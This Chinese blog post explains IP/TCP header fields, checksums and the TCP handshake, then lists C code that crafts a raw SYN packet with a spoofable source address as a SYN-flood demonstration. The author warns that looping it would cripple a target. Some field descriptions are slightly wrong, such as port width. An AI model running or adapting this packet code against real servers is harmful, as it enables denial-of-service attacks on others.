DDOS攻击|TCP SYN泛洪攻击|TCP三次握手原理|网络攻防实战演练

DDOS攻击|TCP SYN泛洪攻击|TCP三次握手原理|网络攻防实战演练

2023-08-29
编程开发

引言

2019年,我的服务器遭遇了DDOS泛洪攻击,一怒之下,我便开始研究“网络攻防”,想着打回去。一眨眼4年过去了,本打算屠龙的我,自己却手握屠龙刀,成为了当初的那个屠龙少年

DDOS分有很多种,我只介绍TCP SYN flood(TCP SYN泛洪攻击),这是最常用的,也是效果最好的

免责声明:本篇文章仅仅是科普,作为学习案例,本人不承担任何法律后果

IP数据报

  • 版本(4 bit):一般都是ip-v4,值为0100。如果是ip-v6,值为0110
  • 首部长度(4bit): 4bit最大值为15。单位是行。IP首部默认是20字节,也就是5行。
  • 服务类型(8bit):区分服务时,这个字段才起作用,在一般的情况下都不使用这个字段。
  • 总长度(16bit):IP报文总长,包含首部和数据(TCP/UDP+data)。最小是20个字节。
  • 标志(16bit):唯一值,标识一个报文的所有分包。因为分片不一定按序到达,所以在重组时需要知道分片所属的报文。每产生一个数据报,计数器加1,并赋值给此字段。
  • 其他的暂时不作介绍,后期有需要再来补充

TCP数据报

  • 源端口:发送端所使用的端口,这里有8bit存储空间,所以理论上端口的范围是0~2^8(65535)
  • 目的端口:接收方使用的端口
  • 序号:seq。表明当前发送到第几个数据了。假如是第一次发送,也就是SYN阶段,这就是一个随机数;否则,该序号就是上次发送的序号+1。后续的作用就是数据块的同步
  • 确认号:ack。表明本端已经接收到的数据,实际上告诉对方,在这个序号减1以前的字节已正确接收。若该数据包是整个TCP连接中的第一个包(SYN包),则确认号一般为0,换句话说,就是还未接收数据。只有ACK标志位为1时,确认序号字段才有效
  • 数据偏移:TCP首部一般情况下是20个字节(在没有可变内容的情况下),每4个字节(32bit)为固定的一行,那真正的数据应该在第6行出现,因为前面5行都是首部。所以数据偏移的值默认是5
  • 标志位:这里有多个标识位,都有各自的用途,常用的是SYN和ACK,这里不赘述了。需要注意的是:不要将确认序号Ack与标志位中的ACK搞混了。ACK确认标志用于确认数据包的成功接收,也用于握手和挥手的确认
  • 选项(可变):用于支持一些特殊的变量,比如最大分组长度(MSS)。TCP协议会根据这个字段进行拆包
  • 填充:用户保证可变选项为32bit的整数倍,也就是保证一行。我猜测可能是内存对齐的原因吧,这样会提高传输的效率。

TCP校验和算法

  1. 将校验和字段置为0,然后将IP包头按16比特分成多个单元,如包头长度不是16比特的倍数,则用0比特填充到16比特的倍数;
  2. 对各个单元采用反码加法运算(即高位溢出位会加到低位,通常的补码运算是直接丢掉溢出的高位),将得到的和的反码填入校验和字段;
  3. 发送数据包。

TCP工作流程

三次握手

  1. 客户端SYN标记为1,seq序号=0(这里的0不是真正意义上的0,是相对位置),然后将包发给服务端,并进入SYN_SEND状态
  2. 服务端将SYN标记为1,seq序号=0。ACK标记为1,确认号为0+1=1。将包发送给客户端,进入SYN_RECV状态
  3. 客户端将ACK标记为1,将确认号标记为1。将包发送给服务端,并进入ESTABLISH状态。
  4. 服务端收到确认包,也进入ESTABLISH状态。
  5. 此时双方开始发送数据,其实在3阶段,客户端就可以和请求数据一并发送到服务端

通俗易懂的解释

发SYN就代表写数据,seq:我发到哪个数据了;发ACK就代表读数据,ack:我读到哪个数据了。有篇文章分析得非常好,地址是:https://zhuanlan.zhihu.com/p/53338327

  1. 客户端发送SYN,seq=0,告诉服务端,我要开始建立连接了,但是我需要先同步一下seq号,你需要把seq+1返回给我,我判断,如果有误,我就拒绝连接
  2. 服务端收到之后,发送SYN/ACK seq=0,ack=0+1(这里的1代表相对位置)。意思是,我这边收到请求了,我会将你发过来的序号在ack返回给你,但是我这边也要收到你的确认,否则我也不连接。我给你发个seq,你那边回复我下。回复校验我就连接你。
  3. 收到ack了,并且合法,我再给你发一个确认的ack,不然你不跟我连接。于是又发了ACK标记。ack=1
  4. 三次握手建立成功,开始传输数据

举个例子

  1. 客户端发送http请求"GET / HTTP1.1 acb" 此时seq是1,ack也是1
  2. 服务器如果收到请求,就要回ACK,ack = 1+接收到内容长度,seq=1
  3. 客户端收到服务端的ACK之后,会将seq=服务器的ack,ack = 1,然后就停了

这样既可以保证顺序正确,也不丢包

数据报传输流程

数据报结构:IP{iphdr+TCP{tcphdr+data}}

发送数据

  1. 客户端在应用层(HTTP/FTP)生成数据,传到TCP层
  2. TCP层将数据包装一下,并在数据包外堆叠TCP报首(端口信息)
  3. IP层堆叠报首(ip地址)
  4. 数据链路层堆叠报首(MAC地址)

接收数据

  1. 数据链路层拿到数据包,判断mac地址是否匹配,不匹配就丢包
  2. IP层判断ip地址是否匹配
  3. TCP层判断端口是否匹配,然后将数据分发到指定的应用。还可能会存在端口转发的情况
  4. http层进行数据解析和处理

代码实战

用C语言构造一个TCP SYN(三次握手第一步)数据包发送到服务器,代码写于2019年,不能保证当下时间有效,仅作为学习用途

//
// Created by wu on 2019-12-09.
//
#include <stdio.h>
#include <netinet/ip.h>//Provides declarations for ip header
#include <netinet/tcp.h>//Provides declarations for tcp header
#include <arpa/inet.h>
#include <stdlib.h> //for exit(0);
#include <string.h> //memset,memcpy
#include <errno.h>

//needed for checksum calculation
struct pseudo_header_tcp {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
};

//checksum is 16bit,should use unsigned short
static unsigned short calculate_checkcsum(unsigned short *ptr, int pktlen) {
    register uint32_t csum = 0;

    //add 2 bytes / 16 bits at a time!!
    while (pktlen > 1) {
        csum += *ptr++;
        pktlen -= 2;
    }

    //add the last byte if present
    if (pktlen == 1) {
        csum += *(uint8_t *) ptr;
    }

    //add the carries
    csum = (csum >> 16) + (csum & 0xffff);
    csum = csum + (csum >> 16);

    //return the one's compliment of calculated sum
    return ((short) ~csum);
}

unsigned short src_port = 0;
unsigned int src_inet_addr = 0;
unsigned short dst_port = 0;
unsigned int dst_inet_addr = 0;

int main(int argc, char *argv[]) {
    if (argc < 5) {
        printf("usage:./<script name> <src ip> <src port> <dst ip> <dst port>\n");
        exit(1);
    }

    int i;
    for (i = 1; i < argc; i++) {
        if (i == 1) {
            printf("src_ip = %s\n", argv[i]);
            src_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 2) {
            src_port = (unsigned short) atoi(argv[i]);
            printf("src_port = %d\n", src_port);
            continue;
        }
        if (i == 3) {
            printf("dst_ip = %s\n", argv[i]);
            dst_inet_addr = inet_addr(argv[i]);
            continue;
        }
        if (i == 4) {
            dst_port = (unsigned short) atoi(argv[i]);
            printf("dst_port = %d\n", dst_port);
            continue;
        }
    }

    // tcp-datagram packet.size is size of iphdr + size of tcphdr
    char datagram[sizeof(struct iphdr) + sizeof(struct tcphdr)];
    bzero(datagram, sizeof(datagram));

    // 将 ip 首部指针和 tcp 首部指针指向各自的位置,
    struct iphdr *ip_header = (struct iphdr *) datagram;
    struct tcphdr *tcp_header = (struct tcphdr *) (datagram + sizeof(struct iphdr));

    // 填充 ip 首部字段
    ip_header->ihl = 5;                //普通 IP 数据报
    ip_header->version = 4;                //IPv4
    ip_header->tos = 0;
    ip_header->tot_len = sizeof(datagram);
    ip_header->id = 0;                      //自定 IP 包标识,方便筛选
    ip_header->frag_off = 0;
    ip_header->ttl = 255;
    ip_header->protocol = IPPROTO_TCP;                      //指定承载的是 TCP 数据包
    ip_header->check = 0;                                //之后需要计算校验和
    ip_header->saddr = src_inet_addr;
    ip_header->daddr = dst_inet_addr;

    //计算 ip 校验和,两个字节
    ip_header->check = calculate_checkcsum((unsigned short *) datagram, sizeof(datagram));

    // 填充 tcp 首部字段
    tcp_header->source = htons(src_port);   //htons means host to network short
    tcp_header->dest = htons(dst_port);     //if spec value < 255(8bit) , there is no need to use htons
    tcp_header->seq = 0;                    //自定义 seq 序号,方便筛选
    tcp_header->ack_seq = 0;
    tcp_header->doff = 5; //tcp header size ,5行,每行4个字节(32bit)
    tcp_header->fin = 0;
    tcp_header->syn = 1;                                //构造三次握手中的第一次,SYN 置 1
    tcp_header->rst = 0;
    tcp_header->psh = 0;
    tcp_header->ack = 0;
    tcp_header->urg = 0;
    tcp_header->window = htons(65535);
    tcp_header->check = 0;                                //之后需要计算校验和
    tcp_header->urg_ptr = 0;

    //借助伪头部计算 tcp 校验和
    int psize = sizeof(struct pseudo_header_tcp) + sizeof(struct tcphdr);
    char *pseudogram = malloc(psize);
    bzero(pseudogram, psize);
    struct pseudo_header_tcp *psh = (struct pseudo_header_tcp *) pseudogram;
    psh->source_address = src_inet_addr;
    psh->dest_address = dst_inet_addr;
    psh->placeholder = 0;
    psh->protocol = IPPROTO_TCP;
    psh->tcp_length = htons(sizeof(struct tcphdr));
    memcpy(pseudogram + sizeof(struct pseudo_header_tcp), tcp_header, sizeof(struct tcphdr));

    //计算 tcp 校验和
    tcp_header->check = calculate_checkcsum((unsigned short *) pseudogram, psize);

    //↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑至此,第一次握手的 TCP/IP 数据包构造完毕↑↑↑↑↑↑↑↑↑↑↑↑


    // 创建一个使用 TCP/IP 协议并可以构造首部数据的 raw_socket
    int send_socket = -1;
    int one = 1;
    const int *val = &one;
    if ((send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPIP)) < 0) {
        return -1;
    }
    if (setsockopt(send_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        return -1;
    }

    // 根据指定 ip 和端口,发送探测包
    struct sockaddr_in dest;
    memset(&dest, 0, sizeof(dest));
    dest.sin_family = AF_INET;
    dest.sin_port = htons(dst_port);
    dest.sin_addr.s_addr = dst_inet_addr;

    ssize_t bytes_sent = sendto(
            send_socket, datagram, sizeof(datagram),
            0, (struct sockaddr *) &dest, sizeof(dest)
    );

    if (bytes_sent < 0) {
        printf("ERROR(%d):%s\n", errno, strerror(errno));
    } else {
        printf("%zu bytes send success !\n", bytes_sent);
    }

    // sockfd should close here !
    return 0;
}

这个代码如果循环执行,短时间内发送无数个SYN包,会对目标服务器造成毁灭性打击,大家千万不要这么做!!!

THE END
0/500
暂无评论